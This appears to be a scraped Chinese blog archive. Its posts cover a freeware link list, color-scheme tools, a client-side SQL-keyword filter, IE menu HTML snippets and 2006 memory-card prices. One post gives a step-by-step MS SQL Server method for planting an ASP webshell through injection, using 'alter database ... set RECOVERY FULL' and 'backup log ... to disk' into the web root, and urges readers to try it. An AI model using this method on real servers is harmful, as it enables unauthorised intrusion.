Inkscapehttp://www.inkscape.org/
JPEGCrops – http://ekot.dk/programmer/JPEGCrops/
Paint .NET – http://www.eecs.wsu.edu/paint.net/
Pixia – http://www.ab.wakwak.com/~knight/
Pixie – http://www.nattyware.com/pixie.html
PhotoFiltre – http://www.photofiltre.com/
Sodipodi – http://www.sodipodi.com/
The Gimp – http://www.gimp.org/
Tuxpaint – http://www.newbreedsoftware.com/tuxpaint
Wax – http://www.debugmode.com/wax/
Wink – http://www.debugmode.com/wink/
WinMorph – http://www.debugmode.com/winmorph/

Programming:
ActivePerl – http://www.activestate.com/Products/ActivePerl
BlueJ – http://www.bluej.org/download/download.html
Crimson Editor – http://www.crimsoneditor.com/
Code::Blocks – http://www.codeblocks.org/
Context – http://www.context.cx/
Dev C++ – http://www.bloodshed.net/
Dev Pascal – http://www.bloodshed.net/
Digital Mars C++ – http://www.digitalmars.com/download/freecompiler.html
Eclipse – http://www.eclipse.org/
ExamDiff – http://www.prestosoft.com/ps.asp?page=edp_examdiff
Freepascal – http://www.freepascal.org/
JCreator LE – http://www.jcreator.com/download.htm
jEdit – http://www.jedit.org/
Metapad – http://www.liquidninja.com/metapad/
Notepad++ – http://notepad-plus.sourceforge.net/uk/site.htm
Notepad2 – http://www.flos-freeware.ch/
Open Watcom – http://www.openwatcom.org/
Pelles C – http://www.smorgasbordet.com/pellesc/index.htm
PHP Hypertext Parser – http://www.php.net/
Programmer‘s Notepad – http://www.pnotepad.org/
PSPad – http://www.pspad.com/
Python – http://www.python.org/
Ruby – http://www.dm4lab.to/~usa/ruby/index_en.html
SharpDevelop – http://www.icsharpcode.net/opensource/sd/
WebMatrix – http://www.asp.net/webmatrix/
WinMerge – http://winmerge.org/

Pop-up Blockers:
Google Toolbar – http://www.google.com/
NoAds – http://www.southbaypc.com/NoAds/
PopUp Stopper – http://www.panicware.com/product_psfree.html
Privoxy – http://www.privoxy.org/
Proxomitron – http://www.proxomitron.info/

RSS Readers:
Ablion – http://www.fileheaven.com/Abilon/download/14059.htm
BlogExpress – http://www.usablelabs.com/productBlogExpress.html
Feedreader – http://www.feedreader.com/
FireANT – http://www.antisnottv.net/
GreatNews – http://www.curiostudio.com/
RssBandit – http://www.rssbandit.org/
RSSOwl – http://www.rssowl.org/
RssReader – http://www.rssreader.com/
RSS Xpress – http://rssxpress.free.fr/en/?page=&idNews=
SharpReader – http://www.sharpreader.net/

System Information and monitoring:
AIDA32 – http://www.sofotex.com/AIDA32-download_L9326.html
ATITool – http://www.techpowerup.com/atitool/
ATI Tray Tools – http://www.guru3d.com/article/atitraytools/189/
CPU-Z – http://www.cpuid.com/cpuz.php
Everest – http://www.lavalys.com/products/overview.p…ang=en&pageid=1
Gkrellm – http://bill.nalens.com/
K1 – http://clanpkm.free.fr/K1/?lng=en
Motherboard monitor – http://www.majorgeeks.com/download.php?det=311
SpeedFan – http://www.almico.com/speedfan.php
Sysmetrix – http://www.xymantix.com
WCPUID – http://hp.vector.co.jp/authors/VA002374/src/download.html
WhatsRunning – http://www.whatsrunning.net/whatsrunning/main.aspx

Video codecs:
DivX Codec – http://www.divx.com/divx/?src=toptab_divx_from_/index.php
FFDSHOW – http://sourceforge.net/projects/ffdshow
XviD – http://www.xvid.org/

Video players :
AC3Filter – http://sourceforge.net/projects/ac3filter
BsPlayer – http://www.bsplayer.org/
Crystal Player – http://www.crystalplayer.com/index.php?page=downloads
Cygwin MPlayer – http://armory.nicewarrior.org/projects/cygmp/
DivX Player – http://www.divx.com/
MaximusDVD – http://www.maximusdvd.com/
Media Player Classic – http://sourceforge.net/project/showfiles.php?group_id=82303
VideoLan – http://www.videolan.org/

Video tools:
DScaler – http://deinterlace.sourceforge.net/
FlasKMPEG – http://www.flaskmpeg.net
GSpot – http://www.headbands.com/gspot/
TMPGEnc – http://www.tmpgenc.net/e_main.html
VCDEasy – http://www.aplusfreeware.com/categories/Au…eo/VCDEasy.html
VirtualDub – http://www.virtualdub.org/
VirtualDubMod – http://sourceforge.net/project/showfiles.php?group_id=65889
Zwei-Stein Video Editor – http://www.thugsatbay.com/software/index.html

Web browsers:
Firefox – http://www.getfirefox.com
K-Meleon – http://kmeleon.sourceforge.net/
Mozilla – http://www.mozilla.org/
Netscape – http://channels.netscape.com/ns/browsers/default.jsp
Opera – http://www.opera.com

Web servers:
Abyss – http://abyss.sourceforge.net/
Apache – http://httpd.apache.org/
Apache2Triad – http://apache2triad.net/
HTTP File Server – http://www.rejetto.com/sw/
Sambar – http://www.sambar.com/
Savant – http://savant.sourceforge.net/
SimpleServer:WWW – http://www.analogx.com/contents/download/network/sswww.htm
Smart Cache – http://scache.sourceforge.net/
TinyWeb – http://www.ritlabs.com/tinyweb/index.html
Xitami – http://www.xitami.com/

Webcam Software:
booruWebCam – http://www.booru.net/
Dorgem – http://dorgem.sourceforge.net/
grabMotion – http://www.grabmotion.com/
Pryme – http://www.hilo.dk/pryme/

Checksum Utilities:
fsum – http://www.slavasoft.com/fsum/
HashCalc – http://www.slavasoft.com/hashcalc/
hksfv – http://www.big-o-software.com/products/hksfv/
ICEECC – http://www.ice-graphics.com/ICEECC/IndexE.html
md5sum – http://www.etree.org/md5com.html
md5summer – http://www.md5summer.org/
MooSFV – http://www.ubercow.com/moosfv/
QuickPar – http://www.quickpar.org.uk/
QuickSFV – http://www.geocities.com/SiliconValley/Mouse/4668/

General Utilities And Other Applications:
AdShield – http://www.lossepladsen.dk/all4you/TheLostWorld/AdShield.php
AnalogX – http://www.analogx.com/
AppRocket – http://www.candylabs.com/approcket/
AutoIt – http://www.hiddensoft.com/autoit3/
BISS – http://www.bluetack.co.uk/index.php
Celestia – http://www.shatters.net/celestia
CCleaner – http://www.ccleaner.com
ClipX – http://bluemars.org/clipx/
Contact – http://www.isaacboy.com/contact.htm
Cygwin – http://www.cygwin.com
Dir2HTML – http://www.pc-tools.net/win32/dir2html/
Dirkey – http://www.protonfx.com/dirkey/
EasyCleaner – http://personal.inet.fi/business/toniarts/ecleane.htm
EditPad Lite – http://www.editpadpro.com/editpadlite.html
EssentialPIM – http://www.essentialpim.com/
Excessive-software – http://www.excessive-software.eu.tt/
File Transfer Expert – http://www.digital-digest.com/dvd/download…re_fte_105.html
Folder Size Extension – http://foldersize.sourceforge.net/
Hamsin Clipboard – http://www.iisr-cnc.com/hamsin/
HTTrack – http://www.httrack.com/
Inno Setup – http://www.jrsoftware.org/isinfo.php
KeyNote – http://www.tranglos.com/free/keynote.html
Language Identifier – http://www.languageidentifier.com/
Link Checker – http://www.relsoftware.com/rlc/
Memtest-86 – http://www.memtest86.com
Money Manager – http://www.thezeal.com/software/manager/default.asp
Multi Install – http://multiinstall.sourceforge.net/
MWSnap – http://www.mirekw.com/winfreeware/mwsnap.html
NetTime – http://nettime.sourceforge.net
Nullsoft Installer – http://www.nullsoft.com/free/nsis
Open Subfolder – http://www.bubblepop.com/opensubfolder/index.html
Peerguardian – http://www.methlabs.org/
Process Explorer (aka ProcessXP) –

http://www.sysinternals.com/ntw2k/freeware/procexp.shtml
png2ico – http://winterdrache.de/freeware/png2ico
RegSeeker – http://www.hoverdesk.net/freeware.htm
Restoration – http://www3.telus.net/mikebike/RESTORATION.html
Startup Control Panel – http://www.mlin.net/StartupCPL.shtml
Stickies – http://finiteloop.org/~btaylor/software/stickies/
StrokeIt – http://www.tcbmi.com/strokeit/
Syncback – http://www.2brightsparks.com/freeware/freeware-hub.html
Sysinternals – http://www.sysinternals.com/
Toolbox – http://www.sil.org/computing/toolbox/
TreeSize – http://www.jam-software.com/freeware/index.shtml
TuneXP – http://www.driverheaven.net/dforce/showdoc.php?doc=txp_about
Turbo Pad – http://turbopad.sourceforge.net/
Unlocker – http://ccollomb.free.fr/unlocker/
URLSnooper – http://www.donationcoder.com/Software/Mous…oper/index.html
Vim – http://vim.sourceforge.net
WeathAlert – http://www.ic.sunysb.edu/stu/msowul/?page=weathermain
WordWeb – http://wordweb.info/free/
XP AntiSpy – http://www.xpantispy.org/
YourDir – http://www.primeoption.com.au/FreewareYourDir.htm

原文地址:http://www.neowin.net/forum/index.php?showtopic=320017 (里面还有很多其他人跟贴的软件,更全!)

如果你想做网站,但是不是专业的美工,配色就是是一个很大的难题了。这个网站就提供了网站配色的服务,使用了一下,Very Good!

Color Scheme (OLD)
The original generator of color schemes and palettes. This is first version of the color-scheme generator.
网址: http://www.roplo.com/ColorScheme/color_scheme.html

Color Scheme Generator 2 (NEW)
Generator of color schemes and palettes to create good-looking and well balanced and harmonic web pages. This is the new version of the previous color generator.
网址: http://www.roplo.com/ColorScheme/color_scheme_2.html

看到了一段防止SQL注入的JavaScript代码,但是似乎在后台解决的话会更好。

[php]
<SCRIPT language="JavaScript">
function Check(theform)
{
if (theform.UserName.value=="")
{
alert("请输入用户名!")
theform.UserName.focus();
return (false);
}
if (theform.Password.value == "")
{
alert("请输入密码!");
theform.Password.focus();
return (false);
}
}
function IsValid( oField )
{
re= /select|update|delete|exec|count|‘|"|=|;|>|<|%/i;
$sMsg = "请您不要在参数中输入特殊字符和SQL关键字!"
if ( re.test(oField.value) )
{
alert( $sMsg );
oField.value = ‘‘;
oField.focus();
return false;
}
}
</SCRIPT>

<input name="UserName" type="text" maxlength="20" id="UserName" onblur="IsValid(this);" style="width:125px;" />
<input name="Password" type="password" maxlength="20" id="Password" onblur="IsValid(this);" style="width:125px;" />
[/php]

JS实现浏览器菜单命令

<object id=min classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11"><param name="Command" value="Minimize"></object>

<object id=max classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11"><param name="Command" value="Maximize"></object>

<object id=close classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"><PARAM NAME="Command" value="Close"></object>

<input type=button value=最小化 onclick=min.Click()>

<input type=button value=最大化 onclick=max.Click()>

<input type=button value=关闭 onclick=close.Click()></div>

<INPUT type=button onclick="document.execCommand(‘open‘)" value=打开>

<INPUT type=button onclick="document.execCommand(‘saveas‘)" value=保存>

<INPUT type=button onclick="document.execCommand(‘print‘)" value=打印>

<INPUT type=button onclick="document.execCommand(‘selectall‘)" value=全选>

<INPUT type=button onclick="location.replace(‘view-source:‘+location)" value=源文件>

<INPUT type=button onclick="window.external.ShowBrowserUI(‘PrivacySettings‘,null)" value=安全选项>

<input type=button onClick="window.external.ShowBrowserUI(‘LanguageDialog‘, null)" value=语言设置>

<INPUT type=button onclick="window.external.AddFavorite(location.href, document.title)" value=加入收藏夹>

<INPUT type=button onclick="window.external.ShowBrowserUI(‘OrganizeFavorites‘, null)" value=整理收藏夹>

<INPUT onclick=history.go(-1) type=submit value=后退>

<INPUT onclick=history.go(1) type=submit value=前进>

<input type=button value=刷新 name=refresh onclick="window.location.reload()">

<input type="button" value="导入收藏夹" onClick=window.external.ImportExportFavorites(true,‘‘);>

<input type="button" value="导出收藏夹" onClick=window.external.ImportExportFavorites(false,‘‘);>

  Blog被人渗透了一下,不知道各位掉了什么东西没有。原来有一次blog的目录可以列出来,那次我掉了一个小东西,然后今天别人告诉我NBSI 3用了那个东西的方法……呵呵,有点晕,就是下面的,成功率还是很高的,大家可以试试看。嗯,方法流出去无所谓,文章留着吧。

  dbowner通过注射得到一个shell应该不是什么难事情了,比较麻烦的是就算利用增量备份,仍然有很多不确定的因素,如果之前别人有过什么错误的写入信息,可能备份出来得到的还是一些不能用的500错误,如何能够提高成功率及重用性呢?如果单从调整增量备份的方式来看,尽管能够达到一些效果,但是方法比较复杂而且效果不明显。加上关于重用性的考虑,例如多次备份的成功率,backup database的方法并不太适用。这里将要讲述的是另外一个备份的方法,导出日志文件到web目录来获得shell。

  饭要一口一口的吃,技术问题也要一个一个的解决,得到webshell首先要知道物理路径,然后才能说其他的。关于物理路径的暴露有很多方法,注入也可以得到,这点nbsi2已经做到了,就不再多说。值得注意的是,如果数据库和web分离,这样肯定得不到webshell,备份出来的东西可以覆盖任何文件,一些关于开始菜单的想法还是有效的,只要注意扩展名就好。扯远了,反正如果数据库和web在一块的,你就有机会,反之还是想其他的办法吧。

  然后你要得到当前的权限和数据库名。如果是sysadmin当然没有必要做很复杂的事情,dbowner足矣,public则不行。当前打开的库名用一个db_name()就可以得到,同样很简单。

  默认的情况是,一般选择的数据库故障还原类型都是简单,这时候不能够对日志文件进行备份。然而我们都是dbowner了,还有什么不能做的呢,只要修改一下属性就可以。由于不能去企业管理器中修改,只有用一段SQL语句,很简单的,这样就可以:

alter database XXXX set RECOVERY FULL

  其中XXXX是你得到的数据库的名字,执行过后就可以备份日志了。这种修改是破坏性的,因为你不知道以前的故障还原模式是什么,细心的管理员看到异样,可能就要开始起疑心。如果之前你能得到数据库的状态,最好还是在备份完以后把这个数据库的属性改回来。

  剩下的事情就是怎样让数据库用最原始的方式记录下你的数据了。这一点和backup database中设定表名为image的问题相对应,如果你只是建立一个之类的表,日志里面的记录还是以松散的格式记录的,也就是< % % >,没有任何效果。通过实际的测试,发现还是可以通过与backup database类似的方式记录进去,如下:

create table cmd (a image)
insert into cmd (a) values (’’)
backup log XXXX to disk = ’c:xxx2.asp’

  这样你已经得到一个webshell了。

  到这里就完了么?没有,呵呵,我们继续。

  到这里有两个分支方向,第一个,让注入的时候不出现单引号,太简单了,我都懒得写;第二个,减小这个webshell的长度以及提高成功率。下面的方法就是讨论第二个分支问题的,同样适用于backup database的减小。

  首先是初始化这个日志。

backup log XXXX to disk = ’c:caonima’ with init

  这样有点类似于增量备份的第一步,不过有点不同的是,你做了这个以后,你备份出来的可用的shell是固定的。这一点比较重要,因为有了这一步,不管管理员在数据库里面做了什么扰乱你back database的手脚,或者你之前有多少混蛋(你肯定会这么想的)弄了些你不喜欢的东西,都没有关系,甚至你做过以后,别人在后面再按照你的方法来一次,还是会成功,这对于偶尔出现的反复,比如对方机器重装但是数据库和代码没变,有不小的帮助。

  然后是调整一下backup中各个语句的顺序。通过第一点,大概的步骤已经确定下来了,那就是:

alter database XXXX set RECOVERY FULL
backup log XXXX to disk = ’c:Sammy’ with init
create table cmd (a image)
insert into cmd (a) values (’’)
backup log XXXX to disk = ’c:xxx2.asp’

  这样不好,感觉上多了一条没用的东西。

create table cmd (a image)

  确实有点讨厌,不过这句是必要的,只好调整一下位置,弄到其他地方去。调换一下顺序似乎还可以小一点,对于backup database中的增量情况同样是可以的,backup database甚至可以仅仅在update后马上备份,不过由于涉及到了数据的存储格式,情况很复杂,这里不讨论。调整后的是:

alter database XXXX set RECOVERY FULL
create table cmd (a image)
backup log XXXX to disk = ’c:Sammy’ with init
insert into cmd (a) values (’’)
backup log XXXX to disk = ’c:xxx2.asp’

  成功的话,备份出来的shell(上面的2.asp)有78.5k,文件长度固定的是80,384字节。很挑剔的朋友也可以接受了吧,当然用这个来生成一个干净的木马也可以——这本来就是顶端cs木马的s端,很通用的。

  到今天为止(2006.07.06)的各类存储卡的报价:

 

Multi Media Card–MMC卡
容量 创见 EagleTec PQI Kingston 威刚 Kingmax
128MB
256MB 115 75
512MB 115 110 110 95
1GB 220 160
RS-MMC 128MB 90
RS-MMC 256MB 95 110 100 110 90
RS-MMC 512MB 120 135 135 120 120 100
RS-MMC 1GB 240 220 215 235 195
 
Memory Stick–MS记忆棒
容量 SanDisk LEXAR Sony

   Memory Stick Pro

256MB长棒 170
512MB长棒 250
1GB长棒
2GB长棒 350
UltraII 2GB长 390
UltraII 4GB长 820
ExtremeIII 2GB长 430

  Memory Stick Pro Duo

256MB短棒 155 170
512MB短棒 175 170 280
1GB短棒 285 275
2GB短棒 565
UltraII 2GB短 875
 
Compact Flash–CF卡
容量 SanDisk KingMax Kingston LEXAR PQI 威刚 创见
128MB 85
256MB 138 100 115
512MB 155 125 130 120 140 140
1GB 215 225 225 225 245 215
2GB 420 418
高速256MB
高速512MB 165
高速1GB 265 385
高速2GB 455 690 420
高速4GB 1050 3820 848
高速8GB 1850
ExtremⅢ 1GB 395
ExtremⅢ 2GB 905
ExtremⅢ 4GB
UltraⅡ 1GB 315
UltraⅡ 2GB 705
UltraⅡ 4GB
UltraⅡ 8GB
 
xD-Picture Card
容量 OLYMPUS 富士 LEXAR
128MB
256MB 205 190 195
512MB 310 280 290
1GB 415 410
 
Secure Digital Card–SD卡
容量 SanDisk KingMax Kingston LEXAR EagleTec PQI 威刚 创见
128MB
256MB 70
512MB 95 85 95 125 100 95 85
1GB 175 165 175 195 190 165 170 165
2GB 370 345 385 330
高速256MB 85
高速512MB 180 100 100 110 120
高速1GB 310 230 245 220
高速2GB 620 350 455 800 415
高速4GB 710 1650 848
 
Mini Secure Digital Card–Mini SD卡
容量 SanDisk KingMax Kingston EagleTec PQI 威刚 创见
128MB 60
256MB 90 95 95
512MB 100 110 125 130 125 125 125
1GB 195 195 225 210 215 235
2GB 415
 
Micro Driver–微硬盘
容量 日立
2GB 870
4GB 1380
6GB 1990
 
TransFlash–TF卡(Micro SD)
容量 SanDisk Kingston 威刚 Kingmax
128MB 125 70 60
256MB 90 100
512MB 185 150 150
1GB 300